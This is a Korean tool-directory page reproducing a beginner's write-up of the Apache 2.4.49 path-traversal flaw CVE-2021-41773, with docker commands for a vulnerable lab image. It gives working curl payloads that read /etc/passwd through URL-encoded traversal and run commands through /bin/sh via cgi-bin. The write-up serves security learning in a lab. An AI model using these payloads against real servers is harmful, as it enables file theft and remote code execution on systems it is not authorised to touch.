Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-41773 — CVE-2021-41773 | Kitploit
도구/GitHubGitHub/noflowpls/cve-2021-41773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubnoflowpls/cve-2021-41773

CVE-2021-41773

CVE-2021-41773

저장소 보기
613년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-41773

안녕하세요 여러분, 어제 아파치 2.4.49 버전에 대한 새로운 CVE-2021-41773이 공개되었습니다. 그래서 이번 글에서는 이 아파치 취약점에 대해 설명하려고 합니다.

플레이그라운드

여러분도 이 취약점을 웹사이트에서 테스트해 보고 싶을 거라고 생각합니다. 그래서 여러분을 위한 플레이그라운드를 준비했습니다. 다음은 예제 아파치 2.4.49 도커 이미지를 다운로드할 수 있는 웹사이트입니다. Docker Image

참고: with-cgid와 no-cgid 두 가지 이미지가 있습니다. 두 이미지를 모두 다운로드해야 합니다.

사용법

먼저 docker image를 여러분의 컴퓨터에 다운로드하세요.

Docker 이미지 받기

root@kitploit:~
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid

이미지 실행

root@kitploit:~
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

고지사항

솔직히 말하면, 저는 이 취약점을 어떻게 발견했는지 모릅니다. 그래서 이 부분을 완전히 설명할 수는 없습니다. 하지만 이 CVE에 대해 제가 이해한 모든 것을 최선을 다해 설명하겠습니다.

취약점

이 CVE는 두 가지 취약점을 포함하고 있어서 조금 흥미롭습니다. 바로 LFD로컬 파일 노출과 RCE 원격 코드 실행입니다. 멋지죠!. 그래서 이 글에서는 이 CVE의 두 취약점 모두에 대해 설명하겠습니다.

로컬 파일 노출 (no-cgi 도커 이미지 사용)

그럼 로컬 파일 노출 취약점부터 시작하겠습니다. 아파치에 익숙하다면 cgi-bin(Common Gateway Interface)이 아파치-2.4.49에서 웹 서버가 외부 콘텐츠 생성 프로그램과 상호작용하는 방식을 정의하는 기본 경로라는 것을 알 수 있을 것입니다.

하지만 이 경로는 모든 사람에게, 심지어 관리자에게도 Forbidden입니다. 흥미롭지 않나요?

그리고 로컬 파일 노출 취약점에 익숙하다면, 대부분의 LFD 취약점이 금지된 경로에서 발생한다는 것을 알고 있을 것입니다.

그럼 /cgi-bin/ 경로에서 간단한 LFI 페이로드를 테스트해 봅시다.

/etc/paswd 앞에 ../../../../../를 넣었습니다. (../가 무엇인지 알고 싶다면 이 블로그 게시물을 확인하세요. 로컬 파일 노출 우회)

curl 사용:

root@kitploit:~
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

curl

burpsuite 사용: burpsuite

보시다시피 이 간단한 페이로드로는 오류가 발생했습니다. curl에서는 404 상태 코드 Not Found 오류가, Burp에서는 400 Bad Request 오류가 발생했습니다.

즉, 페이로드를 URL 인코딩으로 인코딩해야 한다는 뜻입니다. 그럼 시도해 보고 어떤 결과가 나오는지 확인해 봅시다.

그래서 .을 URL로 인코딩했습니다. 참고: URL 인코딩에서 .은 %2E 또는 %2e입니다.

curl 사용:

root@kitploit:~
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

curl

Burp 사용: Burp

성공!. 이제 페이로드가 작동했습니다. 웹사이트의 /etc/passwd를 읽을 수 있습니다.

이제 이 CVE의 LFD 취약점을 이해하셨기를 바랍니다. 그럼 이 아파치 2.4.49 CVE의 RCE 취약점으로 넘어가겠습니다.

원격 코드 실행 (with-cgi 도커 이미지 사용)

이 CVE의 RCE 취약점을 설명하려면 RCE의 기본기와 리눅스 기초를 어느 정도 이해해야 합니다.

RCE가 무엇인지 알려면 이 블로그 게시물을 확인하세요. RCE란 무엇인가

아, 제가 linux basics가 필요하다고 말한 것이 잘못된 말이라고 생각하셨을 수도 있겠네요. 아닙니다. 실제로 필요하기 때문에 틀린 말이 아닙니다. 그럼 시작해 봅시다!

먼저 작동하는 페이로드를 보여드리고, 그다음에 어떻게 작동하는지 설명하겠습니다.

root@kitploit:~
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

Curl 사용: curl

페이로드 설명

그럼 이 페이로드에 대해 설명하겠습니다.

root@kitploit:~
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

보시다시피 경로 **/cgi-bin/**과 인코딩 **.%2e**는 동일합니다. 하지만 이제 두 가지 옵션이 더 추가되었습니다. 바로 -d **데이터(data)**와 /bin/sh /bin/bash입니다. 왜 이것들을 넣어야 하는지 설명하겠습니다.

/Bin/Bash

먼저, 우리는 원격 코드 실행을 얻고 싶은 거죠?.

아시다시피 리눅스 기반 시스템에서 /bin/bash는 명령과 셸을 실행하고 입력하는 핵심 요소입니다. 따라서 웹 서버에서 명령을 실행하려면 bash가 필요합니다. 리눅스에서 Bash란 무엇인가를 확인해 보세요.

데이터

좋습니다. 이제 /bin/sh를 얻을 수 있다고 가정해 봅시다. 우리가 필요한 것은 명령을 주입하는 것뿐입니다. curl의 데이터로 인젝션을 넣을 수 있습니다.

우리의 페이로드는 C|echo;id입니다. 이것이 무엇인지 설명하겠습니다.

C는 아무 의미도 없습니다. | 앞에는 원하는 어떤 것이든 넣을 수 있습니다. 예: Comdey|.

echo;id는 리눅스 트릭일 뿐입니다.그래서 제가 리눅스 기초가 필요하다고 말한 것입니다. Echo 기초

이것들을 함께 사용하면 아파치 2.4.49에서 RCE를 얻을 수 있습니다.

감사합니다!

읽어주셔서 감사합니다. 이 글은 제 첫 CVE writeup입니다. 설명이 부족했다면 양해 부탁드립니다. 그리고 제안도 남겨주시면 감사하겠습니다.

Gif

도구 다운로드